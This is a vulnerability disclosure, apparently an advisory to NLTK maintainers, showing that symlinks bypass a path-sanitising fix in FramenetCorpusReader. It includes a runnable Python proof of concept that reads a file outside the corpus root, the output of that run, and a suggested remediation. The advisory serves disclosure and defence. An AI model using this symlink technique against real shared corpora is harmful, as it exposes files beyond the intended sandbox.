NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

• frame_by_name() reads <frame_dir>/<name>.xml
• _lu_file() reads <lu_dir>/lu<id>.xml
• doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Self-contained, runnable end to end.

 1import os
 2import tempfile
 3 
 4from nltk.corpus.reader.framenet import FramenetCorpusReader
 5 
 6root = tempfile.mkdtemp()
 7corpus_root = os.path.join(root, "framenet_v17")
 8frame_dir = os.path.join(corpus_root, "frame")
 9secret_dir = os.path.join(root, "outside_framenet_root")
10os.makedirs(frame_dir)
11os.makedirs(secret_dir)
12 
13with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
14    f.write("<frameRelations/>")
15 
16secret_path = os.path.join(secret_dir, "stolen.xml")
17with open(secret_path, "w") as f:
18    f.write(
19        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
20        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
21        "</frame>"
22    )
23 
24# Attacker plants this inside <corpus_root>/frame/. No path separators,
25# so it passes _reject_unsafe_path_component cleanly.
26link_path = os.path.join(frame_dir, "evil_link.xml")
27os.symlink(secret_path, link_path)
28 
29reader = FramenetCorpusReader(corpus_root, [])
30reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build
31 
32result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
33print("frame name:", result["name"])
34print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

 1frame name: StolenFrame
 2definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

• No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
• Core corpus-reader code, not a demo/GUI tool.
• Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().